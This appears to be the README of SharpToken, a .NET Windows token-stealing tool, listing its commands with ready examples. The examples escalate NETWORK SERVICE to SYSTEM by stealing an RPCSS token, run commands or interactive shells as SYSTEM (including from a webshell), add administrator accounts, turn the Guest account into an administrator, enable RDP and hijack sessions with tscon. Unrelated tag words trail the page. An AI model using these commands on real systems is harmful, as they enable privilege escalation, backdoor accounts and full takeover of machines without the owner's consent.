SharpToken
NET version of incognito
Usage
SharpToken By BeichenDream
=========================================================
Github : https://github.com/BeichenDream/SharpToken
If you are an NT AUTHORITY\NETWORK SERVICE user then you just need to add the bypass parameter to become an NT AUTHORIT\YSYSTEM
e.g.
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass
Usage:
SharpToken COMMAND arguments
COMMANDS:
list_token [process pid] [bypass]
list_all_token [process pid] [bypass]
add_user <username> <password> [group] [domain] [bypass]
enableUser <username> <NewPassword> [NewGroup] [bypass]
delete_user <username> [domain] [bypass]
execute <tokenUser> <commandLine> [Interactive] [bypass]
enableRDP [bypass]
tscon <targetSessionId> [sourceSessionId] [bypass]
example:
SharpToken list_token
SharpToken list_token bypass
SharpToken list_token 6543
SharpToken add_user admin Abcd1234! Administrators
SharpToken enableUser Guest Abcd1234! Administrators
SharpToken delete_user admin
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass
SharpToken execute "NT AUTHORITY\SYSTEM" cmd true
SharpToken execute "NT AUTHORITY\SYSTEM" cmd true bypass
SharpToken tscon 1
Elevated Permissions
In addition to the usual Token stealing privilege enhancement, SharpToken also supports obtaining Tokens with integrity through Bypass
If you are an NT AUTHORITY/NETWORK SERVICE user and you add the bypass parameter, SharpToken will steal System from RPCSS, that is, unconditional NT AUTHORITY\NETWORK SERVICE to NT AUTHORITY\SYSTEM
ListToken
Enumerated information includes SID, LogonDomain, UserName, Session, LogonType, TokenType, TokenHandle (handle of Token after Duplicate), TargetProcessId (process from which Token originates), TargetProcessToken (handle of Token in source process), Groups (group in which Token user is located)
SharpToken list_token
Enumerate Tokens from the specified process
SharpToken list_token 468
Get an interactive shell
execute "NT AUTHORITY\SYSTEM" cmd true
Get command execution results (executed under webshell)
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"
Reference
https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
https://github.com/decoder-it/NetworkServiceExploit
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent